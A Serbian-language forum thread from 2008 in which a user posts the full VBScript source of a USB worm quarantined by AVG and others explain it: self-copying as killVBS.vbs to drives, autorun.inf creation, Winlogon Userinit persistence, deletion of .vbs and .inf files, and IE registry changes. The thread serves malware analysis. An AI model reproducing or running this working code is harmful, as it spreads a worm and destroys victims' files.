[es] - Sta tacno radi ovaj trojanac?

Srđan Pavlović
Specijalna Edukacija i Rehabilitacija MNRO
Vojvodina, Bačka Palanka

Član broj: 139340
Poruke: 5571
77.46.204.*

Sajt: www.oligofrenolog.com

+382 Profil

Sta tacno radi ovaj trojanac?

^{12.03.2008. u 03:19 - pre 196 meseci}

Code:

Option Explicit
On Error Resume Next
Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv=File.Drive
Set InDrive = Fso.drives
Set ReadAll=File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop
Count=Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & "\killVBS.vbs") then
  set WriteAll = Fso.CreateTextFile(SystemDir & "\killVBS.vbs",2,true)
  WriteAll.Write AllFile
  WriteAll.close
  set WriteAll = Fso.GetFile(SystemDir & "\killVBS.vbs")
  WriteAll.Attributes = -1
End If
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\killVBS.vbs"
For Each Drives In InDrive

If Drives.DriveType=2 Then
   LookVBS "inf",Drives.Path & "\"
   LookVBS "INF",Drives.Path & "\"
End if

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
  If Drives.Path<> "A:" Then
      Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
      Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
      Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
      Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"
      LookVBS "vbs",WinDir & "\"
      LookVBS "vbs",Drives.Path  & "\"
    If Drives.DriveType = 1 Then
     If Drives.Path<>"A:" Then
     If Not Fso.FileExists(Drives.Path & "\killVBS.vbs") Then
       Set WriteAll=Fso.CreateTextFile(Drives.Path & "\killVBS.vbs",2,True)
       WriteAll.Write AllFile
       WriteAll.Close
       Set WriteAll = Fso.GetFile(Drives.Path & "\killVBS.vbs")
       WriteAll.Attributes = -1
       End If

       If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
          Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
          Chg.Attributes = -8
          Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
          WriteAll.writeline "[autorun]"
          WriteAll.WriteLine "shellexecute=wscript.exe killVBS.vbs"
          WriteAll.Close
          Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
          WriteAll.Attributes = -1
       else
          Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
          WriteAll.writeline "[autorun]"
          WriteAll.WriteLine "shellexecute=wscript.exe killVBS.vbs"
          WriteAll.Close
          Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
          WriteAll.Attributes = -1
       End if
       End If
     End if
  End if
  End If
  Next
  if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
sub LookVBS(File2Find, SrchPath)
    Dim oFileSys, oFolder, oFile,Cut,Delete
    Set oFileSys = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFileSys.GetFolder(SrchPath)
    For Each oFile In oFolder.Files
    Cut=Right(oFile.Name,3)
    If UCase(Cut)=UCase(file2find) Then
      If oFile.Name <> "killVBS.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
     End If
    Next
End sub

Ovaj je pokusao da mi prodje, ali ga je AVG uhvatio, pa sam ga iskopao iz karantina i prebacio u TXT fajl. Ovo je copy/pase samog koda.

PS : izvinjavam se ako sam stavio pitanje u pogresan jezik, ovo mi lici na VB, mada nisam siguran.

oligofrenolog

Odgovor na temu

Aleksandar Vasic
Web Administrator, Uspon d.o.o
Čačak

Član broj: 91692
Poruke: 1226
*.eunet.yu.

Sajt: www.vasictech.net

+1 Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 09:09 - pre 196 meseci}

koliko sam video stvara fajlove killVBS.vbs i fajl autorun.inf u svim drajvovima i ubacuje ga u registry,sem ako je flopy(a:) jer bi ga to usporilo :D
i cini mi se da se samo razmnozava......sacekaj iskusnije korisnike ;)

ako ti ne obrishu temu...

Odgovor na temu

stefanpn
Total anonymous
Programer

Član broj: 172809
Poruke: 509
79.101.233.*

+1 Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 12:11 - pre 196 meseci}

Kako ti rece the_end samo se razmnozava po drajvovima i pravi "autorun.inf" tako da win explorer umesto da "otvori" root drajva on pokrene "wscript.exe KillVBS.vbs", i malo "prcka" po registry bazi i pravi nove kopije... U svakom slucaju, nista ozbiljno.

Odgovor na temu

Marko_L
Beograd

Član broj: 20532
Poruke: 2885
*.dynamic.sbb.co.yu.

Jabber: Marko_L@elitesecurity.org

+828 Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 18:37 - pre 196 meseci}

Citat:

i cini mi se da se samo razmnozava......sacekaj iskusnije korisnike ;)

ako ti ne obrishu temu...

A što bi obrisali temu, nismo imali prilike da analiziramo VB virus još od vremena kada je su VRKY i SetX ovde pokušavali da naprave ultimativno razarački proces koji zauzima par MB, izbacuje runtime-error na svakom koraku i zahteva instalaciju , pogotovo što je u pitanju amaterski pokušaj koji je praktično bezopasan, jer ovakvo korišćenje WScript-a izvaljuje svaki AV nekoliko godina unazad :)

-Odracuonogakomijedrpiorazmaknicu.
-Ne rxdi mi txstxturx, kxd god hocu dx
ukucxm "x" onx ukucx "x".
-Ko kaaz e da ja neuummem da kuuca
m.
-Piše "Insert disk 3", a jedva sam i ova
dva ugurao u drajv
-Postoje samo dve osobe kojima
verujem, jedna sam ja, a druga nisi ti

Odgovor na temu

Aleksandar Vasic
Web Administrator, Uspon d.o.o
Čačak

Član broj: 91692
Poruke: 1226
*.eunet.yu.

Sajt: www.vasictech.net

+1 Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 19:30 - pre 196 meseci}

ponekad valja i 'vako neshto da se postavi chisto da razvijamo vijuge :P

Odgovor na temu

Aleksandar Ružičić
Software Architect, Appricot d.o.o.
Beograd

Član broj: 26939
Poruke: 2881

Jabber: krckoorascic@gmail.com
Sajt: krcko.net

+44 Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 19:41 - pre 196 meseci}

Citat:

Marko_L: A što bi obrisali temu, nismo imali prilike da analiziramo VB virus još od vremena kada je su VRKY i SetX ovde pokušavali da naprave ultimativno razarački proces koji zauzima par MB, izbacuje runtime-error na svakom koraku i zahteva instalaciju , pogotovo što je u pitanju amaterski pokušaj koji je praktično bezopasan, jer ovakvo korišćenje WScript-a izvaljuje svaki AV nekoliko godina unazad :)

eh, vrky i set_x, njih sam skoro i zaboravio :)

rafforum.rs - Forum Računarskog Fakulteta

Odgovor na temu

Srđan Pavlović
Specijalna Edukacija i Rehabilitacija MNRO
Vojvodina, Bačka Palanka

Član broj: 139340
Poruke: 5571
77.46.204.*

Sajt: www.oligofrenolog.com

+382 Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 20:30 - pre 196 meseci}

pa i ja sam to skontao, onoliko koliko sam uspeo procitati kod,
ne znam bas VB ali znam nesto Delphi da mogu iscitati otprilike sta radi,
da se kopira, ali nisam u kodu nasao neke akcije sem toga
pa reko da pitam za svaki slucaj, da nisam prevideo nesto
ozbiljnije.
Znaci, koja je bila poenta onoga sto je pravio ovaj program,
ako zaista ovaj ne radi nista drugo sem sto se kopira na neke
drajvove. Ovaj deo sto si rekao "prcka po registriju", to bi moglo
biti vrlo znacajno - sta tacno "prcka po registriju"?

Vidim da sa Shells.RegWrite nesto upisuje, mislim vidim i sta
ali mi nije jasno sta dalje sa tim sto je upisano, tj, koje su
posledice.

Pozdrav. Inace, ovo je prvi put da sam naleteo na virus i to ne sa
neta nego mi drug doneo USB-Flash da mu nesto prebacim, i cim
sam ga utakao, odmah ga je AVG savatao vec kod Autoruna
verovatno (tj, otvaranja root foldera usb-a).

oligofrenolog

Odgovor na temu

Aleksandar Vasic
Web Administrator, Uspon d.o.o
Čačak

Član broj: 91692
Poruke: 1226
*.eunet.yu.

Sajt: www.vasictech.net

+1 Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 20:37 - pre 196 meseci}

prcka to,da sledeci put kada se startuje windows,pokrene taj .vbs fajla da bi se ponovo razmnozio ;)

pa eto vidish ne razmnozava se samo po hdd-u,nego se ubacuje na sve jedinice osim flopija i na taj nacin se prenosi i na druge racunare ;)

Odgovor na temu

stefanpn
Total anonymous
Programer

Član broj: 172809
Poruke: 509
79.101.233.*

+1 Profil

Re: Sta tacno radi ovaj trojanac?

^{12.03.2008. u 20:58 - pre 196 meseci}

1. Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
2. Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
3. Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
4. Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"

1. Brise MS32DLL iz start up-a (Tog zapisa i nema u mom registry-ju!)
2. Upisuje vbNullString("") u Window Title (kod mene nema ni toga)
3. Upisuje vbNullString("") u Start Page (menja ti pocetnu stranu u prazno, kad pokrenes IE)
4. Menja ikonu za vbs datoteke

I to bi bilo to

Odgovor na temu

dava
Banja Luka

Član broj: 27208
Poruke: 893

+384 Profil

Re: Sta tacno radi ovaj trojanac?

^{13.03.2008. u 08:24 - pre 196 meseci}

Na ovaj nacin obezbjedjuje startup (sto je malo skriveniji nacin od onih uobicajenih '...\CurrentVersion\Run')

Code:

Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\killVBS.vbs"

Ovdje postavlja svoj exe fajl da je default-ni program za otvaranje .vbs skripti.

Code:

Shells.RegWrite "HKCR\vbsfile\DefaultIcon", "%SystemRoot%\System32\WScript.exe,2"

U sustini nista znacajno ne radi osim sirenja.

SELECT * FROM หน่วยงานหลัก WHERE ยสันติ LIKE 'โดย%'

Odgovor na temu